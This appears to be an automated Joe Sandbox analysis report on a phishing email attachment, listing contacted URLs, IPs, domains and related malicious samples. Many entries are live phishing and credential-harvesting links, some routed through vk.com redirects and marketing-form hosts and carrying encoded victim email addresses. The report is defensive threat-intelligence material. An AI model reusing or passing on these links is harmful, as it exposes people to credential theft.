https://a.nel.cloudflare.com/report/v4?s=djiRKcdhlVlk2aqZBvP%2Bjmnp1abPn%2BnZFZbJbioW2B1Bkgsecp2vstPS%2B2TRR2dXtz77%2B1QYen%2FvmlZVP30BHgPi8cW%2Fn%2FPb3Xemb2QQHFIHg9%2BUf6IPA9cWexvWhQ%3D%3D	false		high
https://mailvlk.com/o/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb00b	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636	false		high
https://a.nel.cloudflare.com/report/v4?s=iDUvZaCtDpJy3qF6qkuzg7zhpHmebhCTLUFDDABNeySo%2FlMYbME3a7DyNdxlydWBzoHFDmHBneIxt0DzcWkr9XChmzd%2FcJaJe%2B8kNGExQJUuG3M3vFjrwWRSJwQh3g%3D%3D	false		high
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636	false		high
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870	false		high
https://mailvlk.com/x/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe6	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879685459c6269e3	false		high
https://away.vk.com/away.php?rh=8f363019-e908-47e4-a972-890e8e356326	false		high
https://mailvlk.com/APP-8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bc/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bd	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mailvlk.com	chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	false	Avira URL Cloud: safe	unknown
http://vk.com/away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/d	~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp.0.dr	false		high
http://schema.org	FW_ FHAS Inc_ - Private and Confidential.msg	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_94.7.dr, chromecache_125.7.dr	false		high
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3d	chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	false		high
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3d	chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	false		high
https://getbootstrap.com/)	chromecache_94.7.dr, chromecache_125.7.dr	false		high
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e1	chromecache_134.7.dr	false		high
https://aka.ms/LearnAboutSenderIdentification	FW_ FHAS Inc_ - Private and Confidential.msg, ~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp.0.dr	false		high
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3d	chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	false		high
https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2	FW_ FHAS Inc_ - Private and Confidential.msg, ~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp.0.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_94.7.dr, chromecache_125.7.dr	false		high
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpagefo	chromecache_134.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.47.70.28	nam10.safelinks.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.69	part-0041.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.146.76.30	prdia888eus0aks.mkt.dynamics.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
87.240.137.164	away.vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
87.240.132.72	vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
104.21.50.148	mailvlk.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.141.104	www.google.com	United States	15169	GOOGLEUS	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431111
Start date and time:	2024-04-24 15:41:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FW_ FHAS Inc_ - Private and Confidential.msg
Detection:	MAL
Classification:	mal64.phis.troj.winMSG@24/90@32/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .msg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.113.194.132, 192.229.211.108, 52.109.2.127, 52.109.2.121, 52.109.2.117, 52.109.0.152, 20.50.80.213, 142.251.2.94, 142.251.2.101, 142.251.2.139, 142.251.2.138, 142.251.2.102, 142.251.2.113, 142.251.2.100, 142.251.2.84, 34.104.35.123, 142.250.141.95, 74.125.137.95, 142.251.2.95, 142.250.101.94, 74.125.137.138, 74.125.137.100, 74.125.137.113, 74.125.137.102, 74.125.137.139, 74.125.137.101
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, prod-wus-resolver.naturallanguageeditorservice.osi.office.net.akadns.net, assets-mkt-usa.azureedge.net, clientservices.googleapis.com, cxppusa1im4t7x7z5iubq.trafficmanager.net, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, clients2.google.com, ocsp.digicert.com, update.googleapis.com, assets-mkt-usa.afd.azureedge.net, www.bing.com, clients1.google.com, ecs.office.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, onedscolprdneu08.northeurope.cloudapp.azure.com, prod-na.naturallanguageeditorservice.osi.office.net.akadns.net, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, nleditor.osi.office.net, edgedl.me.gvt1.com, s-0005.s-msedge.net, evoke-windowsservices-tas.msedge.net, azureedge-t-prod.trafficmanager.net, cxppusa1formui01cdnsa01-endpoint.azureedge.net, ecs.office.trafficmanager.net, clients.l.google.com, mobil
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.47.70.28	https://nam10.safelinks.protection.outlook.com/ap/b-59584e83/?url=https%3A%2F%2Fsteffeshradvantage.sharepoint.com%2F%3Ab%3A%2Fg%2FETIjdrpSudZGtiSDo79buUwBzFanYCzjnGrCYMAA6-Y-WA%3Fe%3DMBPpYi&data=05%7C02%7Cbosswald%40shepherdins.com%7Cf7b19a236f0e42b3e7b308dc388f42fa%7C477490bc27c740588693f7906a9906d3%7C0%7C0%7C638447435155826970%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=JNCJG%2B78oUblJ8v59lDP5k9ZpktmZTq%2BniNYJvZaGdM%3D&reserved=0	Get hash	malicious	Unknown	Browse
	Completed Document _ Inv 09980963-AM_NS_MG_pdf.msg	Get hash	malicious	HTMLPhisher	Browse
	Will You Be Joining Us Next Month .eml	Get hash	malicious	HTMLPhisher	Browse
	NEW PAYMENT INSTRUCTION FOR NHI INV1525970.eml	Get hash	malicious	HTMLPhisher	Browse
	7 photos - shared by DF.eml	Get hash	malicious	Unknown	Browse
13.107.246.69	http://ustteam.com/	Get hash	malicious	Unknown	Browse
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse
	https://u43957641.ct.sendgrid.net/ls/click?upn=u001.0Q2k6Tkbkoom04JcBCS1bnTFkzW4mU5Ezcfq62d9vtUuGINn2USsIB9YeV8x8Iu5W4FDLy6-2BKqjhTiUn-2FaQ-2BGrq3T-2BGqBAqLUber59up15w-3DVs4O_FXZTG-2Bj8dxNvEuxDJrPqKA8uB9LHQ48OflWnDl8SlkOTiwSdc-2B-2FgPjdAADTWcv8L3HqMFwOmerkXzjwDhJNFd4Lcft0pVsCjftrr0YIbR0wkdFwlzs0ZE-2BrvH4L4d9bI0UMEtu3I1uFXu2qk2Z9Vv-2BQYvTg83dp-2BaElfQAIu9sqQ8XL3xmmPpa4O2GrYCGQ5LVUy-2Feb-2F2iTllWjhAfn3PA-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse
	samradapps_datepicker_221114.xlam	Get hash	malicious	Unknown	Browse
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	Payment MT103.xls	Get hash	malicious	Unknown	Browse
	3Shape Unite Installer.exe	Get hash	malicious	Unknown	Browse
	https://wmicrosouab-4ba8.udydzj.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://uqgekpc20qn1.azureedge.net/6466/	Get hash	malicious	TechSupportScam	Browse
52.146.76.30	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	https://u44058082.ct.sendgrid.net/ls/click?upn=u001.wjMLvmoK1OC9dTKy5UL4VbqcIJmZWkGKJypB0ZF6j6rXk8HVnxe0g2af-2BenroUoONz6EEWthgE-2Bi2vVRUosKTZRVQ5v63hCdxrdKCztVooIv51imK8tr-2Bb3beAsH6u-2FNluJlUKmd7nST-2B9m-2Bl2Rgv4y6uHLimO0TjhZzZ-2F-2BDlllJQne3tT99z6x4W12pJpddTL-2BoJ2-2Bdo6961pFN3dV2Rg-3D-3DeWGT_h-2FW4DSvZGhKY-2FmU3Rq-2F3L-2FXo2OZSHdaVvlpgAgHQWDXPYB9CNYi-2FcvonFCbsEhjt9RP-2BQa7dTwbMJOOaP3JRnMW6mQAitl6qAb1EkaAR-2BmnZDE6Bi3ooqtCrrMW-2F3TPNMK3AVi1YKIdTOZivmUJGaXdrtbqCykfnTTkN9KMRy80rdRqf6LWUCYWGeeaXb-2BD6jokMbr-2FaJKvKMHDNWAfHyhaE6QO9pw7souFUseKb40g-3D	Get hash	malicious	HTMLPhisher	Browse
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	Get hash	malicious	HTMLPhisher	Browse
	https://assets-usa.mkt.dynamics.com/6f8aa86c-81f8-ee11-a1fa-0022482e8338/digitalassets/standaloneforms/4b367e61-8601-ef11-a1fd-0022482f3701	Get hash	malicious	HTMLPhisher	Browse
	infected.docx	Get hash	malicious	HTMLPhisher	Browse
	https://assets-usa.mkt.dynamics.com/97c9a062-91f8-ee11-9048-6045bd00330f/digitalassets/standaloneforms/8ba5ff5d-a1f8-ee11-a1ff-6045bd006d62	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse
	https://assets-usa.mkt.dynamics.com/dfec4c64-9df2-ee11-9048-6045bd016f3e/digitalassets/standaloneforms/692fca68-35f7-ee11-a1fd-6045bd098894#msdynmkt_trackingcontext=a1e2f77d-3fb4-4f9b-8447-219d31fdfcd9	Get hash	malicious	HTMLPhisher	Browse
	https://assets-usa.mkt.dynamics.com/bf3ca3b9-47ed-ee11-9048-00224806e307/digitalassets/standaloneforms/0cb76a16-5df6-ee11-a1fd-6045bd0a59e1	Get hash	malicious	HTMLPhisher	Browse
	https://s.id/24SUG	Get hash	malicious	HTMLPhisher	Browse
	https://public-usa.mkt.dynamics.com/api/orgs/0a7d24a6-a2e7-ee11-a1fa-002248322327/r/85djMnaz5k2_HGmLS5k0kAIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-usa.mkt.dynamics.com%252F0a7d24a6-a2e7-ee11-a1fa-002248322327%252Fdigitalassets%252Fstandaloneforms%252Fd5658eee-30f1-ee11-904b-7c1e52025f1f%2523msdynmkt_trackingcontext%253Dd3b46fdd-71f2-4bc0-9b92-0eaf5108a2b7%22%2C%22RedirectOptions%22%3A%7B%220%22%3Anull%7D%7D&digest=9ns9FqC3ciHVGp41BMxX%2F1VLzVPpLkxeJ%2FU2sSDEuEY%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	HTMLPhisher	Browse
87.240.137.164	http://vk.com/away.php?to=https%3A%2F%2Fclubechique.com.br%2Fsigndocumentworking%2Freviewandaligntoday%2Findex.php%3Fuserid%3DYWFyb25wQG1hc3Rlcm1vbGRsbGMuY29t	Get hash	malicious	Unknown	Browse	vk.com/away.php?to=https%3A%2F%2Fclubechique.com.br%2Fsigndocumentworking%2Freviewandaligntoday%2Findex.php%3Fuserid%3DYWFyb25wQG1hc3Rlcm1vbGRsbGMuY29t
	http://vk.com/away.php?to=https%3A%2F%2Fclubechique.com.br%2Fsigndocumentworking%2Freviewandaligntoday%2Findex.php%3Fuserid%3DYWFyb25wQG1hc3Rlcm1vbGRsbGMuY29t	Get hash	malicious	Unknown	Browse	vk.com/away.php?to=https%3A%2F%2Fclubechique.com.br%2Fsigndocumentworking%2Freviewandaligntoday%2Findex.php%3Fuserid%3DYWFyb25wQG1hc3Rlcm1vbGRsbGMuY29t
	http://vk.com/away.php?to=https%3A%2F%2Fgunjansolanki.in%2F%2Fdocumenttosigntoday%2Fpleasesignthelisyeddoc%2Findex.php%3Fuserid%3DdGhvbGxlbWJlYWtAZ2xlbm52YWxsZXlmb29kcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	vk.com/away.php?to=https%3A%2F%2Fgunjansolanki.in%2F%2Fdocumenttosigntoday%2Fpleasesignthelisyeddoc%2Findex.php%3Fuserid%3DdGhvbGxlbWJlYWtAZ2xlbm52YWxsZXlmb29kcy5jb20=
	http://r5vlgjw49.vk.com/away.php?to=http%3A%2F%2F2fDhpVbmR.6.DhpVbmR.Wcbradley.6.Wcbradley.Wcbradley.6.DhpVbmR.DhpVbmR.ad.aclassfencing.net.au%2Fc3doaXRlQHdjYnJhZGxleS5jb20=	Get hash	malicious	HTMLPhisher	Browse	r5vlgjw49.vk.com/away.php?to=http%3A%2F%2F2fDhpVbmR.6.DhpVbmR.Wcbradley.6.Wcbradley.Wcbradley.6.DhpVbmR.DhpVbmR.ad.aclassfencing.net.au%2Fc3doaXRlQHdjYnJhZGxleS5jb20=
	http://vk.com/away.php?to=https://suncrops.fr/old_site/jk/cz///ix3314y/JEHA@novozymes.com	Get hash	malicious	Unknown	Browse	vk.com/away.php?to=https://suncrops.fr/old_site/jk/cz///ix3314y/JEHA@novozymes.com
	http://odnaknopka.ru	Get hash	malicious	Unknown	Browse	vkontakte.ru/share.php?url=https%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dcubehttps%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dgethttp%3A%2F%2Fodnaknopka.ru%2Fhttp%3A%2F%2Fvk.com%2Fodnaknopkahttp%3A%2F%2Fodnaknopka.ru%2Fblog%2Fhttp://www.facebook.com/sharer.php?u=https%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dcubehttps%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dgethttp%3A%2F%2Fodnaknopka.ru%2Fhttp%3A%2F%2Fvk.com%2Fodnaknopkahttp%3A%2F%2Fodnaknopka.ru%2Fblog%2Fhttp://twitter.com/share?text=%D0%9E%D0%B4%D0%BD%D0%B0%20%D0%BA%D0%BD%D0%BE%D0%BF%D0%BA%D0%B0%20%D0%B4%D0%BB%D1%8F%20%D0%B2%D1%81%D0%B5%D1%85%20%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D0%BE%D0%B2%20%D0%B7%D0%B0%D0%BA%D0%BB%D0%B0%D0%B4%D0%BE%D0%BA%20%D0%B8%20%D1%81%D0%BE%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D1%85%20%D1%81%D0%B5%D1%82%D0%B5%D0%B9%20-%20%D0%B4%D0%BB%D1%8F%20%D0%92%D0%B0%D1%88%D0%B5%D0%B3%D0%BE%20%D1%81%D0%B0%D0%B9%D1%82%D0%B0&url=https%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dcubehttps%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dgethttp%3A%2F%2Fodnaknopka.ru%2Fhttp%3A%2F%2Fvk.com%2Fodnaknopkahttp%3A%2F%2Fodnaknopka.ru%2Fblog%2Fhttp://www.odnoklassniki.ru/dk?st.cmd=addShare&st.s=1&st._surl=https%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dcubehttps%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dgethttp%3A%2F%2Fodnaknopka.ru%2Fhttp%3A%2F%2Fvk.com%2Fodnaknopkahttp%3A%2F%2Fodnaknopka.ru%2Fblog%2Fhttp://connect.mail.ru/share?share_url=https%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dcubehttps%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dgethttp%3A%2F%2Fodnaknopka.ru%2Fhttp%3A%2F%2Fvk.com%2Fodnaknopkahttp%3A%2F%2Fodnaknopka.ru%2Fblog%2Fhttp://www.livejournal.com/update.bml?event=https%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dcubehttps%3A%2F%2Fodnaknopka.ru%2Fget.html%3Frel%3Dgethttp%3A%2F%2Fodnaknopka.ru%2Fhttp%3A%2F%2Fvk.com%2Fodnaknopkahttp%3A%2F%2Fodnaknopka.ru%2Fblog%2F&subject=%D0%9E%D0%B4%D0%BD%D0%B0%20%D0%BA%D0%BD%D0%BE%D0%BF%D0%BA%D0%B0%20%D0%B4%D0%BB%D1%8F%20%D0%B2%D1%81%D0%B5%D1%85%20%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D0%BE%D0%B2%20%D0%B7%D0%B0%D0%BA%D0%BB%D0%B0%D0%B4%D0%BE%D0%BA%20%D0%B8%20%D1%81%D0%BE%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D1%85%20%D1%81%D0%B5%D1%82%D0%B5%D0%B9%20-%20%D0%B4%D0%BB%D1%8F%20%D0%92%D0%B0%D1%88%D0%B5%D0%B3%D0%BE%20%D1%81%D0%B0%D0%B9%D1%82%D0%B0
	http://vk.com/away.php?to=http://vre.doggoneknit.com/mayerbrown.com/cmJsb2NoQG1heWVyYnJvd24uY29t	Get hash	malicious	Unknown	Browse	away.vk.com/away.php
	http://vk.com/away.php?to=http%3A%2F%2F23.oppermanlaw.co.za/Alejandro.Garrido/Alejandro.Garrido@seaboardmarine.com/%2FVerizon&txid=B20200331_1488798683&lid=18207&tid=121811&vno=5&ltid=498307	Get hash	malicious	Unknown	Browse	away.vk.com/away.php
	http://vk.com/away.php?to=https://intuitivelinks.com.au/new/se/Ncsregcomp/chardiman@ncsregcomp.com	Get hash	malicious	HTMLPhisher	Browse	vk.com/away.php?to=https://intuitivelinks.com.au/new/se/Ncsregcomp/chardiman@ncsregcomp.com
	40a510dd9933e02e51e62b91d854aaa2612c41b4bbb99.exe	Get hash	malicious	RedLine, SmokeLoader, Tofsee	Browse	vk.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
challenges.cloudflare.com	https://insidesales-email.com/l/1/17013047/Y/eus.p01-2019.10.02-460581/1/ab/4K6W-nzk0hr_GKydLIdUc0LK4HrUUeoMK4jMzee40WM?lnk=https://cd14fe4e.2690c0a545a7f22e8ae6844c.workers.dev/?qrc=barbara.rentler@ros.com	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://nitftts.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.3.184
	https://pwrdevelopment.top/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.3.184
	https://u43957641.ct.sendgrid.net/ls/click?upn=u001.0Q2k6Tkbkoom04JcBCS1bnTFkzW4mU5Ezcfq62d9vtUuGINn2USsIB9YeV8x8Iu5W4FDLy6-2BKqjhTiUn-2FaQ-2BGrq3T-2BGqBAqLUber59up15w-3DVs4O_FXZTG-2Bj8dxNvEuxDJrPqKA8uB9LHQ48OflWnDl8SlkOTiwSdc-2B-2FgPjdAADTWcv8L3HqMFwOmerkXzjwDhJNFd4Lcft0pVsCjftrr0YIbR0wkdFwlzs0ZE-2BrvH4L4d9bI0UMEtu3I1uFXu2qk2Z9Vv-2BQYvTg83dp-2BaElfQAIu9sqQ8XL3xmmPpa4O2GrYCGQ5LVUy-2Feb-2F2iTllWjhAfn3PA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://netorg442802-my.sharepoint.com/:b:/g/personal/darek_daronto_com/EeXtnEaZ3XJBqGk13it6odUB-K9vuYAC7zp7SfyciZ3BpQ?e=nkKu2w	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://netorg442802-my.sharepoint.com/:b:/g/personal/darek_daronto_com/EeXtnEaZ3XJBqGk13it6odUB-K9vuYAC7zp7SfyciZ3BpQ?e=nkKu2w	Get hash	malicious	Unknown	Browse	104.17.3.184
	https://lithiuimvalley.com/ssd	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.3.184
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://sunhos-my.sharepoint.com/:b:/g/personal/mcaffrey_suncrestcare_com/EVEm8VhV9TBDp7AQUrliImYB4Kt7rXcd_m6-8qNUjxBhTA?e=P3XNTL&xsdata=MDV8MDJ8cHJpY2hhcmRzb25AY2FsdG9uLmNvbXxkM2U5ZTc1MTlkNDA0NmI2OWMzODA4ZGM2M2JhOTA4Y3w3YjU1NzU2YTg5NTg0ZWNlODFkYzVkYTZhYmRiNmE5N3wwfDB8NjM4NDk0OTAwMTUyMzMwMjUxfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=TldIbEg2OTJiSkRUS29RRElmU3dYbTBRQUlqUTBBMXZPcGlIaTlzNnlOQT0%3d	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
away.vk.com	https://vk.com/away.php?to=https://hhu.tmw.temporary.site/wp-includes/myevri&post=809587144_14&cc_key=	Get hash	malicious	Unknown	Browse	87.240.137.164
	https://vk.com/away.php?to=https%3A%2F%2Fhhu.tmw.temporary.site%2Fwp-includes%2Fmyevri&post=809587144_14&cc_key=	Get hash	malicious	Unknown	Browse	87.240.132.78
	https://vk.com/away.php?to=https://hispanoitaliano.cl/ramson/454644230000343/bGxvcmVuYy5jb21ham9hbkB1dmljLmNhdA==	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	87.240.132.78
